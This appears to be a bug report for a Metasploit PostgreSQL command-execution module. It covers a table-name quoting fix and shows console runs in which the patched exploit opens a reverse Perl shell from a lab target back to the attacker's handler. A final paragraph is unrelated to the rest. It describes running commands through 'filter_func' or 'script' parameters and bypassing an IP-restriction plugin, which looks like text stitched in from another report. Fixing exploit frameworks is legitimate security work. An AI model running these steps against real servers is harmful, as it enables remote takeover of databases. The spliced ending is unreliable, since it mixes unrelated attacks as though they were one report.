In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
RHOSTS => 192.168.2.2
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
tablename => 123test
[...]
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.2.1:4444·
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
[-] 192.168.2.2:5432 - Exploit Failed
This can be verified manually as follows, quoting the table name works:
$ psql --user postgres -W -h 192.168.2.2 template1
[...]
template1=# DROP TABLE IF EXISTS 123test;
ERROR: syntax error at or near "123"
LINE 1: DROP TABLE IF EXISTS 123test;
^
template1=# DROP TABLE IF EXISTS "123test";
NOTICE: table "123test" does not exist, skipping
DROP TABLE
With the patch, the script also works with table names which start with
numbers:
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.2.1:4444
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
[*] 192.168.2.2:5432 - Exploit Succeeded
[*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
If we have the API token we can execute command using the parameter
`filter_func` or `script`, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restiction if
the plugin batch-request is also enabled.
dwelch-r7